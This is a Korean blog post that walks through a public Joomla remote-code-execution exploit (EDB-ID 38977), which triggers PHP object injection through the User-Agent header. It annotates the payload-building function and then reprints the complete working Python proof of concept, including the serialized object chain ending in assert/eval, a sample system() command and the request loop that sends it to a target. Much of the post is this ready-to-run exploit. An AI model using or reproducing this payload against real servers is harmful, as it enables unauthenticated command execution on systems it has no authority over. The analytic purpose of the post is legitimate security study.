[EXPLOIT] Joomla 1.5 Object Injection & Remote Command Execution 코드 분석(Code Analysis)

EDB에는 꾸준히 몇개씩 Exploit code, zero day 등이 올라오는데 이번에 약간 파급력이 짙은 취약점이 공개되었습니다. 바빠서 신경을 못쓰고 있다가 확인해보니 많이 사용하는 프레임워크에 영향력까지 높아보여 차근차근 코드를 볼까합니다.

Joomla 1.5 RCE

국내에서도 많이 쓰이고 있는 Joomla 서비스에 대한 이 취약점은 매우 간단한 원리로 동작합니다. User-Agent 값을 코드 내에서 사용하고 사용하는 과정 중 특수문자에 대한 필터링 부족으로 내부 구문 로직을 우회한 후 공격자가 원하는 php 코드를 삽입하여 동작하게 하는 취약점이며 인증이나 별다른 제한 없이 User-Agent를 통해 서버 어디든 동작이 가능하여 파급력이 높습니다.

취약 구간: User-Agent를 통해 입력된 데이터를 사용하는 부분 EDB-ID : 38977(https://www.exploit-db.com/exploits/38977/)

Exploit Code Analysis

해당 Exploit 코드는 아래 3개 함수와 Main 로직 부분으로 구성되어있고, 간단한 코드를 통해 Objection Injection을 수행하고 원격지 시스템에 명령을 수행할 수 있는 취약점입니다.

  • get_url(url, user_agent):
    • 1번 인자값(url)에 2번 인자값(user_agent) 데이터를 User-Agent 헤더로 넣어 전송하여 Response 확인
    • 단순 get 요청을 위한 함수 php_str_noquotes(data):
  • 입력된 문자열에 대해 인코딩(데이터 포맷 변경)을 하는 함수 generate_payload(php_payload):
  • 실제 공격코드가 들어가는 함수

큰 3개의 함수 중 가장 핵심이 되는 함수는 generate_payload 함수입니다.

살펴보면 아래와 같습니다.

def generate_payload(php_payload): #php_payload 값을 인자값으로 받습니다.


    php_payload = "eval({0})".format(php_str_noquotes(php_payload)) 
    # 인코딩 함수인 php_str_noquotes 적용 후 eval 내 0 부분에 값을 넣어 세팅합니다.
    # output -> eval(php_payload)
  
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
    # exploit code가 작성되는 부분이고, exploit_template에 기존 로직을 변경하는 구문 + Payload 로 구성이 됩니다.   
    # 실제 해당 부분을 읽어 처리하는 함수에서 특수문자에 대한 필터링이 없어 발생한 것으로 보이네요.
    return exploit_template

코드에 주석으로 대충 설명을 쓰긴했습니다만, 다시 살펴보자면 함수 시작 부분에서 입력한 payload를 eval 함수 안으로 넣어 공격에 사용할 php 구문을 만듭니다.

eval(php_paylaod)

이렇게 되고, 여기서 payload 는 php_str_noquotes 함수를 통해 특수문자를 인코딩 시킨 데이터입니다.

이후에 exploit_template에 기존 로직 우회구문(‘’‘}__test|O:21:”JDatabaseDriverMysqli”:3:{ ~~)이 들어가고 에러가 나지 않도록 함수 밖으로 나온 후 아까 만든 paylod[eval(php_payload)]를 넣어 로직은 변경시킵니다. 이 부분에서 Injection을 통해 Command를 실행하는 부분이 되겠네요.

로직 우회 구문까지 들어간 후 exploit_template 변수를 return 하여 실제 공격에 사용하게 됩니다.

Exploit Code Analysis - Main Logic

위 부분에서 이 Exploit의 대부분의 설명이 들어가 이쪽에선 별다른게 없습니다.


pl = generate_payload("system('touch /tmp/fx');")

print get_url("http://172.31.6.242/", pl)

위와 같이 pl 변수(User-Agent)에 generate_payload 함수를 통해 공격코드를 넣은 후 get_url 함수를 통해 취약 서버로 공격코드를 전송하게 됩니다.

호출순서는 main -> generate_payload -> get_url 함수 순이며 동작하면 아래와 같은 요청이 발생할 것으로 보이네요. (실제 구동 시 요청을 잡아서 본건 아니라 정확하진 않을 수 있지만 이렇게 나갈것으로 보입니다.)

GET / HTTP/1.1 Host: [TARGET SERVER] User-Agent: [Exploit Code] -> 아까 만든 eval() 함수를 포함한 로직 우회 구문

Exploit Code(Full)


'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
  
import requests #  easy_install requests
  
def get_url(url, user_agent):
  
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
    
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
  
    return encoded[:-1]
  
  
def generate_payload(php_payload):
  
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  
    return exploit_template
  
pl = generate_payload("system('touch /tmp/fx');")
  
print get_url("http://172.31.6.242/", pl)

#> python joomla_exploit.py <Response [200]>

Reference

https://www.exploit-db.com/exploits/38977/